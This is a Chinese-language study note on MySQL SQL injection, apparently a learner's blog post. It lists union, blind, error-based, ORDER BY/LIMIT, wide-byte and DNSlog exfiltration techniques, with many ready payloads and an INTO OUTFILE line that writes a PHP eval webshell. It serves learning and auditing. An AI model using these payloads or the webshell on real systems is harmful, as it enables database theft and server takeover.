sql注入小结
Comment前言
基础漏洞学好研究明白才能更好的去学习审计。今天加了P神的圈子,代码审计和日战比当然是枯燥了些,希望自己能坚持下去。基础漏洞准备写个系
列,稍微深入研究下。
sql注入
总结了下觉得mysql注入主要分为如下几种方式。
基础注入
最简单的注入方式,一般是查询语句中没有对参数做过滤限制,导致绕过执行我们自己的查询语句并把直接显示到页面。
看网上一些文章去分析整型、字符型,当然这都无所谓。我们要思考的就是怎样执行我们的查询语句?
sqlmap中有这样一个参数。
prefix=PREFIX 注入payload字符串前缀 --prefix=admin%1$'
这参数的作用是绕过查询参数的闭合符号。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
以这条语句Less-1为例
可以看到没有报错并且执行了我们后插入的语句
$sql="SELECT * FROM users WHERE id='-1' union select 1,username,password from users where id=2 %23 # LIMIT 0,1"
也就是说遇到这种注入我们要做的就是无论参数被什么符号闭合,找到它fuzz出它闭合它。
盲注
布尔盲注
这个类型的注入我们这有根据页面的变化来逐字猜解我们要的信息。猜解正确回显正常,反之错误。
主要用到如下几种判断函数
left
left(a,b)从左侧截取a的前b位
substr
substr(a,b,c)从b位置开始,截取字符串a的c长度。结合ascii()使用
MID/ORD
mid(a,b,c)同substr
OPD()同ascii()
regexp
select user() regexp '^[a-z]';
时间盲注
根据页面返回时间长短判断猜解是否正确。结合if(condition,true,flase) / and 1=*
判断语句使用。
主要用到如下几种函数
sleep
sleep(N) 可以让语句运行N秒
benchmark
benchmark() 可以测试某些特定操作的执行速度。参数可以是需要执行的次数和表达式。
mysql> select benchmark(10000000,MD5("hello word"));
+---------------------------------------+
| benchmark(10000000,SHA1("hello word")) |
+---------------------------------------+
| 0 |
+---------------------------------------+
1 row in set (4.93 sec)
get_lock
get_lock(key,timeout) 一个是key,就是根据这个参数进行加锁的,另一个是等待时间(s)。
如果key是第一次加锁返回1,反之等待时间进行第二次加锁。
利用条件比较苛刻,需要使用 mysql_pconnect函数来连接数据库
要两个session分别进行
RLIKE
通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
rpad(str1,length,str2) str1没有length长用str2填充
repeat(str,count) 返回str重复count次之后的str
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)
笛卡尔积
概念自行百度吧,我现代60飘过。
本地测试两个表还可以,三个直接爆炸。(等不出来了估计是小时级的)
报错注入
报错注入也是一种盲注,利用MYSQL函数特性返回信息,法师的代码审计后面有写到一共十个函数。
floor
floor() 去除小数部分
rand() 产生随机数,如果限定种子rand(x)则随机数是固定的
利用group by 和floor抛出主键冗余报错返回我们想要的信息。
select count(*),concat(floor(rand(0)*2),(payload)) as x from information_schema.tables group by x;
extractvalue
extractvalue(xml文档,xml路径) 对xml文档进行查询 查询的字符串最大长度32位,超出要结合substr
这个函数只要语法不错就不会报错会返回空。xml路径是/xx/x/ 这样的形式,我们只要写入非法格式就会报错。
select username from security.user where id=1 and (extractvalue('anything',concat('~',(payload))))
updatexml(同32位)
updatexml(目标xml文档,xml路径,更新的内容) 更新xml文档的函数 原理用法同上给错误路径格式报错
EXP
exp()当传入的数值大于709时就会引起溢出错误(适用大于MySQL5.5.5)
select exp(~(select*from(payload)x))
NAME_CONST
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
利用mysql列明重复会报错,适用低版本(貌似只能测试内置函数,我尝试写入payload报错网上也没有找到相应的实例)
join
在已知表明的情况下适用
select * from (select * from 表名 a join 表名 b) c)
在得到一个字段后,使用using得到下一个字段
select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段)) c
几何函数
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
这些用法类似归结到一类,适用大于Mysql5.5.47,不包括5.7.17
select linestring((select * from(select * from(payload)a)b));
文件操作及增删改
load_file()导出文件
使用条件
1、有读写权限 and(select count(*) from mysql.user)>0/* 返回正常说明有读写权限
2、知道绝对路径
3、读取文件在服务器上
4、读取文件要小于 max_allowed_packet
示例
1、select 1,2,3,hex(replace(load_file(char(ascii编码的payload))))
2、select 1,2,3,load_file(char(ascii编码的payload))
3、select 1,2,3,load_file(hexpayload)
4、select 1,2,3,load_file(c:\\boot.ini)
load data infile
将文本中的数据写入到表中。
outfile 文件导出
Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”
sql写马用的及时这种方式,要有读写权限。也可以结合load_file()使用。
select load_ file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’)into outfile‘c:\wamp\www\test.php
常见注入
宽字节
mysql使用GBK编码时认定两个字为一个汉字,在一些安全函数是这样(')转义单引号,我们可以%df%5c%27这样转义过来就变成運'
单引号逃逸。
再说一下这个一定要
mysql_real_escape_string
mysql_set_charset
一起使用,要不然还是会造成注入。
order by
order by
排序函数,经常被使用在猜解列名。order by注入不是利用这个函数去注入而是指注入点在order by后面。
$sql = "select * from users order by $sort"
利用方式:
1、参数后直接跟注入语句 ?sort=(payload)
2、?sort=1 and (payload)
3、利用布尔类型进行判断 不限于rand(true/false) 也可以利用if()等判断函数。
/?sort=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00))
limit
limit注入其实和order by 分不开。看p牛博客https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
limit后面可以跟两个函数PROCEDURE 和 INTO
,INTO要有写入权限,可以用报错和时间盲注直接上payload
报错注入
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
时间盲注(sleep不行)
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
无逗号注入
忘了是在哪到ctf题目里面get到的,以为不重要,但是某位老哥面试的时候被问到了。还是记录下,直接上payload。
' union select * from (payload) a join (select version() ) b %23
DNSlog注入
将select查询到的数据与一个域名拼接成一个新的子域名,然后请求解析这个子域名,利用dns解析产生的记录日志来查看数据。
Ceye
CEYEhttp://ceye.io是一个检测带外流量的监控平台,如DNS查询和HTTP请求。注册之后会分配一个二级域名:xxx.ceye.io
,我们把注入信息放到三级域名。
因为要用load_file()解析DNS请求,所以mysql secure_file_priv
的值不能为NULL。这个配置在phpmyadmin日志文件getshell里也有用到。
总结
sql基础基本就这样了,主要是要灵活利用。总结了一些报错盲注函数,遇到waf的时候可以都试试,后续尝试写一些bypass的,可能是只研究sqlbypass,也可能等基础漏洞写完之后一起研究下。(估计很有难度)